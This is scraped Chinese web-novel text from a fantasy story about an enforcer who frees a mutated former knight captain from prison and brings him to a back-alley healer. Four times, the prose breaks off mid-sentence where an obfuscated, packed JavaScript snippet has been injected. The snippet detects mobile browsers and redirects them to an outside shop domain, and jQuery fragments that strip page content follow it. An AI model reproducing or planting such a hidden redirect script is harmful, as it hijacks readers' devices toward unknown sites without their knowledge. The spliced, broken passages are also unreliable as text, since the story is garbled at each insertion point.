的确伪善。
谢寒声扯了扯嘴角,声音嘶哑:“我不像某些人那样对你卑躬屈膝、笑脸相迎,不代表我讨厌你。”
嘴里说着不讨厌,可神情却是相反的意思。
“很有敌意。”单议秋点评道。
他这才终于直起身,离开谢寒声的支撑范围,两人恢复到正常的社交距离。
黑色制服的前襟上蹭上不少半干涸的暗红血污,单议秋低头瞥过一眼。
“你把我衣服弄脏了,”他道,“之后会在你的酬金里扣。”
说完,不等谢寒声反应,他屈起指节,在冰冷的石墙上轻敲三下。
几乎是在叩击声落下的瞬间,牢房外传来锁钥转动的声音。
两名穿着执法团制服的男子沉默地走了进来,对单议秋微微颔首后,一言不发地开始操作谢寒声身上那些沉重的镣铐。
锁链被解开时发出刺耳的金属摩擦声,长期被禁锢的关节得到释放,带来的却不是轻松,而是僵硬和更剧烈的酸痛。
谢寒声咬着牙,借助墙壁的支撑,缓缓站直身体。
直到此刻,单议秋在真正意义上见到了投入监狱两个月后的主角。
他上身未着寸缕,长期不见天日的皮肤在昏暗中泛出一种病态的苍白,上面布满了新旧交叠的伤痕与污迹。
镣铐解除后,曾被强行压住的伤口再度裂开,温热的鲜血顺着紧实的肌理蜿蜒而下,滑过那些色泽暗沉、分布凌乱的异变鳞片,勾勒出残酷又诡异的图案。
圣庭中纯粹的东方血统并不多见,单议秋是,谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228779|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寒声也是。
谢寒声的体格不是西方人那种过分膨胀的壮硕,而是历经千锤百炼后形成的精悍流畅,每一道伤疤都让他曾经的骑士长之位名副其实,此刻却只显得触目惊心。
单议秋站在一步之外,安静地看着。
他的目光很冷静,只是在扫过谢寒声背后时停顿了一下,随即微微眯起了眼。
谢寒声没有完全站稳,呼吸因疼痛和虚弱而粗重。而单议秋的视线,正落在他肩胛骨上方,脊椎第一节骨头的位置。
那里没有流血,也没有明显的伤口,苍白的皮肤上出现了一个暗灰色的圆点,圆点中心嵌着某种金属,与皮肉长在了一起。
异变者会在侵蚀中获得超越常人的力量与恢复能力,这正是圣庭急于研究又深感恐惧的根源,这枚钉住脊柱的钉子没能杀死谢寒声,却让他虚弱,不得不受制于人。
而此刻,单议秋忽然就明白了为什么这个本该有能力挣脱束缚的主角,会如此安静地躺在牢中等死,任由生命流逝。
有人在他背后钉入了一根钉子。
单议秋的指尖在身侧捻动一下,表情波澜不惊,只是眸色深了些许。
他收回视线,转向旁边静候的下属,语气从容:“我带了干净的衣服。麻烦带他去清洗一下,换好衣服后带出来。”
“是,阁下。”一名下属立刻应声。
单议秋点了点头,不再看谢寒声,转身朝牢房外走去。
靴底踏在潮湿的石板上,声音清晰。
“单——”
他刚走出两步,身后传来嘶哑的唤声,只吐出一个姓氏便止住了。
单议秋停下脚步,转过身:“怎么了?”
谢寒声在另一名执法官的搀扶下,勉强站直了身体,额角渗着细密的冷汗。
他盯着单议秋,一字一句地问:“我既然被划归到你手下,那份调动公文……是该给我,还是留在你那里存档?”
听到这个问题,单议秋挑起半边眉毛。
似乎觉得有趣,他慢悠悠地拉长了语调:“按理说……应该给你一份副本,作为凭证。”
谢寒声没说话,只是冲他伸出了手。
单议秋看着他伸出的手,忽地笑了。
他果真从怀中取出那份已经有些折痕的公文,不紧不慢地重新走向谢寒声。
在距离两步远时,他停下,拿着公文的手悬在两人之间,没有立刻递过去,反而微微倾身,用只有两人能听清的音量,带着点调侃轻声问:“这次还会把我拽过去吗?”
谢寒声的脸色瞬间沉了下去,他猛地抬手,一把将公文从单议秋指间抽走,动作快得带起一阵微风。
单议秋假装没察觉他的恼怒,再次对两名下属温声道:“麻烦了。”
说完,这次他不再停留,步履轻快地离开了牢房。
……
外面天色暗了些,执法团专属马车静静停在空地上,像往常一样等候。
就在这片空旷带来的短暂寂静里,马车旁却多出了几道本不该在此的身影。
数名身着银白衬甲、外罩圣骑士团短披风的骑士,以及被他们簇拥在中间的那位副团长。
看见他们,单议秋面色不改,只从心里啧了一声。
真是狗皮膏药。
5. 骂完就跑
副团长一见单议秋出来,脸上迅速堆起笑容,三步并作两步迎上前。
“阁下,您终于出来了。”
“副团长好,”单议秋停住脚步,视线从几个圣骑士身上依次扫过,询问道,“是有什么急事需要我来处理吗?”
不然没法解释为什么圣骑士一直自发跟在他身边,跟苍蝇似的,赶都赶不走。
“没有急事,”见他误会,副团长连忙道,“您知道的,最近局势很复杂,圣骑士团有义务保护您的安全,默间附近不安全,所以……”
单议秋抬起一只手,食指微屈,是个温和却明确的止住手势。
“有劳挂心。不过今日是私人事务,并非公务巡查,无需劳动骑士团的诸位。”
“您总是如此体恤,”副团长笑容不减,话一句接一句地往外蹦,堪称蹬鼻子上脸,“但正因是您的个人事务,我等才更该尽心。您的安危关乎圣庭律法的威严,容不得半分疏忽。请恕我直言,阁下有时未免太过信任某些地方的守卫了。”
他絮絮叨叨地说个没完,又是表忠心又是暗示默间危险,无非是想把自己带人前来的举动合理化,顺便再镀上一层思虑周全的金边。
单议秋脸上笑容不变,心思却没在谈话上,低头研究袖口的血迹。
等对方话音稍歇,他才抬起头,温声道:“副团长过虑了。默间的守卫规程由圣庭亲自订立,如果连这里都需要额外担忧,那其他地方又该怎么办,天下还有安全的地方吗?”
这话说得委婉,分量却不轻,让副团长后续的话堵在了喉间。
副团长脸上热络的笑容僵了僵,讪讪道:“是,是我想太多了。只是……”
他眼珠转了转,终究按捺不住逾矩的好奇,压低声音,试探着问:“话说回来,不知阁下亲自来此,是为了……?”
无论从资历还是职权上讲,他都没有资格这样直接询问首席执法官的行动意图,但他料定了单议秋脾气好,不会为这点关切动怒。
单议秋果然没生气,他连眉头都没动一下,只是笑意更深了些,眼底映着远处风灯跳动的光,
“来接个人。”他道。
“接人?”副团长这次是真的怔住了,随即失笑摇头,仿佛听到了一个过于随意的玩笑,“这地方……恕我愚钝,阁下。这里恐怕只有等待净化的罪人,哪里有需要您亲自迎接的宾客?”
“有的,”单议秋笑着,目光飘向身后沉重的大门,语气玩味,“是个大人物。”
大人物?
默间里能关什么大人物?
副团长心里嘀咕,脸上还维持着笑容,只当这位执法官在敷衍自己,可当他仔细审视单议秋的脸时,却发现对方神情很认真,不像在开玩笑。
见此,副团长心中一惊,脑子里飞快地将默间近来关押的重犯名单过了一遍后,一个早被认将要化作尘埃的名字骤然跳出。
他脸上的笑容凝固了,瞳孔因惊愕而微微放大。
就在这时,一阵迟缓的脚步声从默间大门的方向传来。
副团长猛地扭头看去。
只见那扇通往黑暗的门扉内,弯腰走出了一个身影。
昔日光辉灿烂的骑士长,一朝沦为监狱囚徒,即便重见天日,过去六十日仍在他身上刻下无法抹去的烙印。
他的皮肤变得很苍白,在昏暗光线下泛着一种不健康的青灰。走近些,副团长能看到在他脖颈侧面靠近耳后的位置,隐约有几片颜色暗沉的凸起,像是皮肤下嵌入了什么坚硬的东西,又像是鳞片的雏形。
谢寒声换下了染血的囚衣,穿着单议秋带来的简单的深色衣裤,走廊里透出的微光勉强勾勒出他的轮廓,却照不进他的眼睛。
副团长下意识地屏住了呼吸。
严格来说,谢寒声的“异变”远没有传闻中描述得那么狰狞可怖,至少表面上,他依旧维持着基本的人形。
没有犄角,没有尾巴,也没有膨胀扭曲的肢体。
但当副团长的目光真正落在他脸上,一股寒意却不受控制地从尾椎骨窜了上来。
那并非人们面对龇牙猛兽时本能的警惕,而是一种更微妙、更令人不适的惊悸,好像他看到的不是野兽本身,而是野兽身上由自己亲手造成的创伤。
他刺伤了野兽,却没能杀死它。
谢寒声在几步外停下脚步。
夜风吹过,让他空荡的衣裤微微晃动,他的目光平淡地扫过副团长和他身后那些手指悄然按上剑柄的骑士,最后落在单议秋身上,沉默地等待着。
单议秋好像全然没有察觉副团长此刻翻涌的心绪,他侧过身,朝着谢寒声的方向略一抬手,笑着介绍道:“这位便是我说的大人物。”
副团长嘴角难以抑制地抽搐了一下,勉强挤出声音:“阁下是在说笑吗?他已经异变了。”
“我知道他异变了,”单议秋坦然承认,“但他至今没有主动伤害过任何人。”
不管在监狱里他对谢寒声说了什么,在监狱之外,他都是最高执法官,他的决定不需要被质疑。
言尽于此,单议秋微微颔首:“告辞。”
话音落下,他朝马车的方向示意。
谢寒声看懂了命令,安静跟上单议秋的步伐,如同一道顺从的影子。
“等等!”
此刻,副团长终于从惊愕中反应过来,一步抢上前,拦在了谢寒声面前,脸上挤着僵硬讨好的笑容,目光却锐利如刀,上下刮着谢寒声。
“谢……前团长?这真是让人意想不到。阁下这是要把人带到哪里去?此人是重犯,即便行刑暂缓,也需……”
“移交手续完备,他现在归执法团监管。”单议秋已经走到马车边了,闻言停下脚步,侧过身来。
风灯的光映着他半边脸,依旧是温润平和的轮廓,将副团长未说完的话截断:“副团长如果对整个流程怀有疑问,可以明天去查阅文书。”
“我没有质疑阁下的意思,”副团长连忙转向单议秋,语气放缓,却仍在坚持,“只是他异变太重,极度危险,是不是应该再多考虑一下?”
一个只有单议秋能听见的电子音适时响起:[他好烦人!]
系统不懂人情世故,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228780|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只觉得这个副团长怎么跟个苍蝇似的没完没了,本来宿主都解决了,现在马上把人带回去,该治伤治伤,该吃药吃药,万事大吉,他非要过来挑衅!
单议秋心里点了点头:他确实讨厌。
然而不等他开口回应,一直保持沉默的谢寒声忽然低笑了一声,笑声很短,满是冰冷的讽刺,打破了此时略有凝滞的氛围。
副团长本就勉力维持的表情瞬间沉了下去,按住剑柄的手指微微颤抖。
他装作没听见,只盯着单议秋,语气恳切地继续:“执法官大人,被黑暗侵蚀的人不算我们的一员。现在也许什么事情都没有,但谁能保证以后?为了这样一个存在冒险,并不明智。”
话说到这份上,副团长对谢寒声的排斥厌恶已经不能更明显。
单议秋的手指在马车门框上轻轻一叩,发出轻微的声响。
他挑眉道:“我没记错的话,谢团长在骑士团任职十年,比副团长还多了三年,算起来您一直在他手下任职,怎么出了事情以后对他这么冷淡?这可不像同僚之情。”
副团长拿黑暗侵蚀说事,单议秋就追问他为人的情谊。
副团长脸色一僵,正要辩解——
谢寒声却在这时抬起眼,又嗤笑了一声。
如果之前还能被勉强解释为无心之失,那这次就是纯粹的挑衅。
“佐文特,”他直呼其名,语气轻蔑,“你这辈子,也就这样了。”
副团长的理智瞬间被点燃,一直压抑的怒火和某种被戳破的难堪猛地爆发:“你说什么?!你这怪——”
“副团长,注意言辞。”
单议秋及时打断那句即将出口的侮辱,同时偏头瞪了谢寒声一眼。
就知道乱说话添麻烦,被抓进监狱的时候怎么没这么硬气?
“上车。”他对谢寒声说。
谢寒声看了看单议秋,又扫过脸色铁青,胸膛起伏的副团长。
虽然有公文下达,把人划到了执法局,但谢寒声已经异变,不算人,完全可以不听单议秋的命令,可这会儿他却一反常态,老老实实地上了马车,很有一点骂完就跑的意思。
留下副团长僵在原地,一口气堵在胸口,眼睁睁看着单议秋也登上马车。
车门关上,将内外隔绝,马车很快驶动,融入夜色。
等车走远了,副团长猛地转身,靴子狠狠踹在路边一块半埋入土的石头上,发出沉闷的响声。
碎石飞溅,惊得旁边一名年轻骑士下意识地后退了半步。
他在原地焦躁地转了两圈,攥紧的拳头松开又握紧,指甲深深掐进掌心。
夜色掩盖了他脸上因愤怒和挫败而扭曲的神色,只有粗重的呼吸暴露了内心的翻腾。
“……一个异变的废物。”
副团长终于从牙缝里挤出声音,字句像是被碾碎了吐出来,充斥着冰冷的恨意和不屑。
“以前是骑士长又怎么样?还真以为攀上执法官,就能洗干净了?”
他冷笑一声,声音压得很低,却足够让身边几个亲信听清,“等着瞧吧……”
6. 巫医
马车上。
单议秋靠着抱枕,和谢寒声隔了一段距离。
方才的争执没有影响到他,一上马车,单议秋脸上的情绪便像潮水般退得干干净净,只留下一片空白,显得很放松冷淡。
谢寒声感受着马车行驶时的轻微晃动,身体下意识避开车厢两侧凿刻的守护符文。
车厢内很安静,见单议秋长久不语,他先开了口:“你要带我去哪里?”
单议秋闭着眼,好像快要睡着了,回答却来得很快:“送你上刑场。”
这话听不出是认真的,还是随口一说的恶劣玩笑。
谢寒声沉默了一瞬,扯了扯嘴角:“执法官阁下,您那广受称颂的善良呢?”
单议秋终于睁开了眼睛,似笑非笑地看过来:“你觉得我善良吗?”
马车顶悬挂着一盏小巧的晶石灯,光线昏黄黯淡,洒落下来,在两人之间划分出明暗交织的区域。
即便只隔着不到一米的距离,单议秋的面容在光影切割下也显得有些不真切。
谢寒声又一次注意到,这位执法官的眼睛并非纯粹的深黑,而是透着些许温暖的棕调,只是在此时的光线下,那点暖色似乎也被冻住了。
“我不太清楚,”谢寒声如实说,目光没有闪避,“但外面的人都这么夸你。”
明明顺着话头,违心地附和一句就能让气氛缓和,甚至换来一点好处,他却偏偏不肯说,倔得像绵延千里的冻土和更下面的石头
单议秋没生气,反而低低地笑了起来。
他换了个更松弛的姿势,将半边脸隐入抱枕的阴影里,只露出带着笑意的眼睛和唇角。
“谢团长,”他语气随意,“算起来,我们也认识好几年了。我一直想知道,你为什么总是对我有意见?明明我们之前相处很好。”
“我对你没意见,”谢寒声回答得很快,跟条件反射似的,“而且我们没相处过。”
“是吗?”单议秋的笑意加深了,棕褐色的眼眸在昏光中闪烁着微妙的光泽,“可我觉得你现在可能就在心里骂我……嗯,虚伪?伪善?或者别的什么?”
谢寒声:“……”
谢寒声:“我没有。”
他被堵得别开视线,望向窗外流动的黑暗街景。
面对他的避而不谈,单议秋对接受良好,又晾了谢寒声一会儿,他才开口:“你现在的身份不适合去正规医院,我有一个朋友,他可以帮你处理一下伤口。”
“我的伤口不需要处理,”谢寒声说,“很快就会愈合的。”
“我听说有人给你打了些乱七八糟的东西,谁也不知道那些药剂还会导致什么样的结果,”单议秋道,“最好还是检查一下,我可不想费尽心思捞出来个病秧子。”
说是费尽心思,可从他来牢房里见谢寒声,到行刑指令下达,再到谢寒声出狱,一共过去不到24个小时。
单议秋要多费尽心思,才能在24小时里达成圣庭从未有过的先例,把一只已经异变的怪物从牢里捞出来。
况且这个怪物还见证了圣庭内部的反人性实验。
谢寒声想起那张被他要到手的公文,或许单议秋的权力范围,早就蔓延到了他无法想象的地方。
对话中止在各自未尽的思绪里。
马车继续行驶了一段,最终在一条僻静巷道的入口处停下。
单议秋率先推门下车,跟随在后的几名执法官无声散开,将巷口两端暂时封住。确保没有闲杂目光后,单议秋回到马车窗边,屈指在窗框上轻叩两下。
一直等在门边的谢寒声跳下马车,脚踩上湿冷的石板地面,起身的动作牵动了脊柱深处的异物,钉子随着姿势改变往骨骼更深处扎了一点,带来阵阵尖锐的钝痛。
谢寒声脚步顿了一下,随即面色如常地挺直了背脊。
他环顾四周,认出了自己身在何处。
这片区域的住宅,租客更换频率高得惊人,因为环境嘈杂混乱,正经人很少愿意久居。盘踞在此的多是些行走在灰色地带的人:走私贩子、地下巫师、进行非正统实验的炼金术士,还有走投无路的亡命徒。
执法机关通常对这里睁只眼闭只眼,但只要认真查起来,十户里有九户得去牢里走一遭。
谢寒声没想到,单议秋口中的朋友,会住在这种地方。
他确认道:“你的朋友住这儿?”
单议秋拢了拢外衣,坦然点头:“是啊。”
谢寒声皱起眉。
有些问题不该问,但他就是忍不住:“那你这位朋友合法吗?”
闻言,单议秋瞥了他一眼,实话实说:“目前来看,我身边最不合法的就是你。”
他这么讲,谢寒声无话可说。
见他不说话,单议秋满意了,带着他朝巷道深处走去。
湿冷的石板路在昏暗光线下泛着油亮的水渍,两旁低矮的房屋门窗紧闭,偶尔有窥视的缝隙在阴影中一闪而过。
空气里混杂着一股陈腐腥气。
他们停在了巷道最深处的一扇门前。
木门斑驳破旧,上面没有任何标识,黄铜扶手锈得快要烂掉,单议秋抬手握拳,在门板上用力敲了三下。
门内一片寂静,许久都没有回应传来。
就在谢寒声以为里面没人的时候,门猛地被人从里面拉开了。
一个瘦得像枯树枝、穿着皱巴巴睡衣的老头探出身来。
老头头发花白稀疏,头顶戴着一顶极其古怪的帽子,帽檐四周,系着一圈细小的、被处理成白色的骨头,从形状粗略判断,很像是猫或狗的前肢骨。
老头的目光先落在单议秋身上,表情很平静,顶多带着点厌烦,可当视线转向旁边的谢寒声时,那双浑浊的眼睛骤然睁大了。
他的嘴唇动了动,喉结上下滚动,像是有什么话在喉咙里反复滚了几圈,最终却只是猛地向后退开一步,让出了门口的空间。
“进来吧。”
……
踏进这间房子,任何人都需要做好心理准备,因为你永远不知道下一步会踩到什么。
老头是个空间管理大师,将有限的空间利用到了极致,各种物件杂乱摆放,有些都堆到了天花板。
古籍、干枯的草药、形状各异的玻璃器皿和金属器械毫无章法地乱放着,一个表面沾着可疑金属溶液的坩埚里插着几卷羊皮纸。猫和兔子的骨骼标本更是随处可见,有些被完整组装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228781|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有些则散落在角落。
单议秋面不改色地将一个挡在脚前的木盒踢到旁边,又躲开了从房顶上悬挂下来的玻璃瓶,回过头来,示意谢寒声小心手边正在晃荡的半罐液体。
在两人前方,老头走得不安稳,肌肉紧绷,每走几步就要神经质地回头瞥一眼,好像身后跟着的不是两个人,而是会随时暴起的凶兽。
反倒是谢寒声更加泰然自若,他平静地面对着周遭混乱的收藏,甚至在经过一个摆满彩色晶石的架子时,还多停留了几秒钟欣赏观察。
他们勉强穿过堆积如山的杂物,来到一个相对空旷些的房间。
房间被一道厚重的、沾着不明污渍的布帘隔开,靠里的部分隐约能看见一张简陋的床铺。
老头在这里停下,搓了搓枯瘦的手掌,先看了一眼单议秋,然后才对谢寒声飞快地说道:“你……先去里面等一下。”
谢寒声不知道是刚才的一番游览中发现了什么,还是单纯懒得计较,点点头,掀开布帘走了进去。
布帘落下的瞬间,老头像是卸下了千斤重担,又像是被毒蛇咬了一口,浑身打了个哆嗦。
他看也没看单议秋,脚步急促地转身离开了房间,单议秋不紧不慢地跟了出去。
刚来到外面堆满杂物的客厅,9653就冒出来了:[他要来找你麻烦了。]
果然,老头一走到相对远离里间的位置,立刻转过身,一把抓住单议秋的手臂,将他扯到角落,用气音急促地低吼:“执法官!我可没说要帮你干这个!”
“帮我干什么了?”单议秋任他抓着,语气自然地反问,“我说我有个‘病人’需要你帮忙处理一下伤口,你同意了。”
“你管那叫‘病人’?!”老头的声音因为激动而微微拔高,又立刻死死压下,枯瘦的手指颤抖地指向里间的方向,“他脖子上的鳞片都快藏不住了!你从哪儿把他弄来的?!”
“默间。”单议秋实话实说,“刚带出来。”
老头:“……”
他被这个过于直接和惊悚的答案给噎住了,张着嘴,半天没发出声音,只有抓着单议秋胳膊的手指啰嗦个没完,关节用力到发白。
他憋了好一会儿,终于从喉咙深处挤出三个字:“……谢寒声?”
看来老头也听说过前骑士团长身上发生的“意外”。
单议秋点了点头。
老头松开了抓着他胳膊的手,抹了把脸。
“你就这么直接把他带来了?带到我这来了?”他压着嗓子问。
“有什么问题吗?”
“你是真不明白,还是装不明白?他异变了!”
老头跳起来,挥舞着干瘦的手臂,又不敢大声,只能急促地比划,“你知不知道那到底意味着什么?黑暗钻进他骨头缝里了!他现在看着是个人,下一秒可能就变成个只想撕碎活物的玩意儿!你把他放我这儿,万一他突然……我是说万一!你怎么办?我怎么办?!”
“他没有攻击我,”单议秋向他陈述事实,“路上很安静。而且——”
他顿了顿,经过一番审慎的思考,定下结论,“我认为他目前相当理智。”
老头看他的眼神像是在看疯子。
7. 你是不是看上他了?
合拢的房间门被人推开,单议秋带着老头回到房间,撩开布帘后来到谢寒声面前。
“我来给你介绍一下,”他直入主题,“这是索兰德。”
不等谢寒声有所回应,单议秋又偏过身体,手掌平伸,指向谢寒声的方向:“你认识他了,但还是介绍一下,谢寒声。”
“我知道。”老头硬邦邦地说。
他显然在刚才的争执中跟单议秋达成了某些协定,此时虽然神情很不乐意,但已经没有了之前的警惕小心,看谢寒声也不再像看怪物。
谢寒声观察着两人之间的氛围,眼中闪过一丝难以辨别的情绪,缓缓道:“很高兴认识你。”
“我也很高兴你们能认识,”单议秋说,“总之,他会负责你之后的检查和治疗流程,有什么问题你跟他讲就可以。”
老头从鼻子里重重喷出口气,枯瘦的胸膛起伏了一下,低声嘟囔:“你能不能对老年人稍微礼貌一点?”
单议秋置若罔闻,仍然将大部分注意力放在谢寒声身上,语气平和地继续:“另外有件事需要说明。半个月前,索兰德先生在邻近的灰岩城‘不慎’引发了一次魔法能量泄露——按他自己的说法是一场‘小实验’。后果是炸毁了三栋相连的房屋,并彻底焚毁了他房东精心打理了十年的草药园。”
他顿了顿,给谢寒声消化信息的时间。
“目前,关于此事的详细报告和相应的拘捕令,恰好由我经手处理,暂未签发。”
单议秋的语气没有剧烈起伏,意思却表达得再清楚不过——索兰德必须配合,否则麻烦立刻就会找上门。
“根本没人受伤!”
索兰德在一旁忍不住插嘴,声音拔高了些,“而且我赔了钱!那老头子的破园子根本不值……”
单议秋没理会他的辩解,朝门口方向略一抬手,示意索兰德可以暂时离开了。
老头瞪着他,又飞快地瞥了谢寒声一眼,最终悻悻地闭上嘴,拖着步子挪出了这间被布帘隔开的小空间,还顺手将布帘拉得严严实实。
现在,这里只剩下他们两人。
单议秋在床边的矮凳上坐下。
空间本就狭小,他这一坐,两人的膝盖无可避免地抵在了一起,隔着衣料传递着彼此的体温。
谢寒声低下头,审视他们的接触。
而身为始作俑者,单议秋全然未觉这个距离有什么不妥,他就这样坐着,离一个理论上极度危险、随时可能失控的异变者不过咫尺之遥,好像完全忘记了不久前在牢房里,谢寒声是如何轻易地将他拽到身前,又如何用带着血腥气的低语威胁要拧断他的脖子。
“你不信任我。”
单议秋开门见山,他低垂着眼眸,长睫在眼下投出浅浅的阴影,营造出一种易于倾诉的氛围。
“我理解。我们过去相处不算融洽,理念也有分歧。但我希望至少现在,为了你自己,你可以选择暂时相信我。”
谢寒声盯着他,眼神审视:“我为什么要信你?”
单议秋坦然道:“因为我是目前唯一有能力,也愿意帮你的人。”
谢寒声沉默地与他对视,目光锐利,想要剥开那层温和的表象,看到底下真实的意图。
单议秋迎着他的目光,继续道:“谢寒声,我花了不小的力气把你从默间带出来,不是为了随便杀你。”
“有很多事,”谢寒声的声音干涩,“比死更让人难以忍受。”
“是啊。”
闻言,单议秋轻轻点头,眼中浮出一层很淡的笑,认同了他的警惕。
他靠得那样近,声音压得更低,耳语道:“但死了,不就什么都没了?多可惜。”
温热的呼吸拂过下颌,谢寒声感觉到一丝不自在,下意识想向后挪动,避开这过近的距离。
这个念头让他心里泛起一丝古怪:执法官跟人说话,都习惯靠这么近吗?
“谢寒声,”注意到他细微的动作,单议秋没有退开,反而将声音放得更柔缓,“你总有一天会明白的。我不会伤害你。”
……
单议秋说完那句话,没再停留,起身离开了这方狭小的空间。
布帘掀动又落下,隔绝了他的身影。
谢寒声独自坐在床边,膝盖上似乎还残留着那点不属于自己的体温。他垂下眼,看着自己苍白的手背,那里皮肤下隐约透出暗色的血管脉络。
索兰德掀开布帘钻了进来,手里拿着一个陈旧的皮质工具包。
他上下打量着谢寒声,粗声粗气地问:“发什么愣?”
谢寒声没有回答。
他的确在出神,但跟索兰德没关系。
异变带来的敏锐听力,让他在刚才单议秋与索兰德在外间压低声音的交谈中,捕捉到了断续却清晰的片段。
“……他们自己都不管他了,你干嘛非要蹚这浑水?”
索兰德问出了谢寒声自己也好奇的问题。
短暂的沉默后,是单议秋的声音,隔了无数遮挡,比平时更低:“我觉得谢寒声不该就这么死了。”
“呵,不该?我看你是……”
索兰德的声音本来只是嘲弄,但说着说着就恍然大悟,平了下去:“……你是不是看上他了?”
这一次,单议秋陷入短暂的沉默。
谢寒声几乎能在脑海里勾勒出那个画面。
单议秋大概又是那样,微微偏过头,挂着点笑,用那张漂亮又极具欺骗性的笑脸作为回答,或者更准确地说,作为不回答的盾牌。
而旁人往往也就这样被轻易地绕了过去,无知无觉。
“不该就这么死了……”
谢寒声在心里重复着这句话,指甲无意识地掐进掌心,带来些微刺痛。
他分辨不出单议秋说这话时的确切情绪,他的语气太淡了,淡得像一句无关痛痒的感慨。
可偏偏是这样一句淡到极致的话,让谢寒声心里那点荒谬的怀疑,如同落在水面的油渍,顽固地晕开,无法抹去。
应该不会是真的吧?
他们统共才见过几面?寥寥数次公务场合的照面,再加上牢里那短暂而充满火药味的对峙。
单议秋能喜欢他什么?喜欢他人不人、鬼不鬼的模样?喜欢他背后那枚耻辱的钉子,还是喜欢他脖颈上这些藏不住的鳞片?
褪去了圣骑士团长的光环与权力,他如今连蝼蚁都不如,不过是个等待处理的麻烦,一个行走的污点。这样狼狈不堪、朝不保夕的境地,还有什么值得别人喜欢的?
索兰德见他不答话,不耐烦地啧了一声,开始从工具包里往外掏一些闪着寒光或散发着奇异气味的器械。
“躺好,”老头命令道,语气勉强算得上专业,“先看看你背上那个装饰品。”
谢寒声依言慢慢侧躺下去,将后背暴露出来。
冰凉的金属工具贴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228782|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上皮肤的瞬间,他身体绷紧一瞬,随即又强迫自己放松。
他闭上眼,耳边又回响起布帘外那句压低后带着难以置信的质问:
“——你是不是看上他了?”
……
……
马车在稍显拥挤的巷道口缓缓调转方向,随着单议秋登车,原本警戒在两侧的执法官也悄然退入阴影,如同潮水般无声撤离。
被短暂清空的街道重新被人流与夜色填满。
车厢内,单议秋靠坐着,指尖在膝上无意识地轻点。
片刻后,他掀开车窗帘,对着外面模糊的夜色问道:“最近有人为他奔走吗?”
车厢外,一个嘶哑低沉的声音立刻响起,吐字简洁:“两个。”
“两个?”单议秋眉梢微挑,这倒比他预想的多了些,“查过了?”
“查过了。”车外的声音回答,“一个是圣骑士团的普通骑士,另一个是风藤修道院的见习修女。都是他早年相识,但近些年没有见过面。”
没见过面,却还愿意这时候伸手?
单议秋将这条信息记下,转而道:“派几个人,去他出事的那片区域再查一遍。我要知道为什么人一被发现,就直接被送进了监狱,连常规审判流程都跳过了。”
车外的人似乎迟疑了一瞬。
单议秋察觉到了这细微的停顿,平静地补充:“主教那边我会去说。你们不会遇到额外阻力。”
“是。”
车外的声音不再犹豫。
一道轻风掠过,车窗外暗影微动,随即恢复平静。
单议秋放下窗帘,车厢内重归寂静,只有车轮碾过石板路的规律声响,一点浅黄色的微光在他身侧悄然浮现。
[我去查了一下你说的那件事,]9653的电子音带着点困惑,[流程上确实不太对劲。]
“现在才觉得不对劲?”
单议秋换了个更舒服的姿势。
“他的颈椎上有这么长的一根钉子,”他比划了一个大致的长度,“如果是人,他早就死了。”
谢寒声的异变在某种程度上保住了他的命,当然,反过来说,如果他没有异变,那根钉子也未必会钉进他的骨头里。
9653的光圈闪烁得更快了,新手的焦虑显露无疑。
[那我们怎么办?主角的生命体征还在危险区徘徊,万一他真的提前死了,世界线崩溃……]
它抛出那个最稳妥的方案:[不如我们赶紧把他送到一个绝对安全的地方藏起来?至少先保住……]
单议秋没有立刻回答。
他心念微动,眼前再次展开那幅世界崩溃指数走势图。
自从他将谢寒声带离默间,那根不断上扬的红色曲线确实停止了爬升,但也仅仅只是停滞,并未出现任何回落的迹象。
“我在想一件事,”他对着系统说,同时梳理自己的思路,“这件事很不对劲。”
话音落下,车厢内陷入短暂的沉寂。
单议秋脸上那层惯常的温和神色淡了下去,手指点动在窗框旁的纹路上,思索下一步该从哪个方向入手。
这就是9653与单议秋在任务逻辑上最根本的分歧。
系统追求的是按部就班、规避风险,平安度过便是胜利。
而单议秋却总是习惯性地想要掀开地毯,看看下面到底藏着什么。
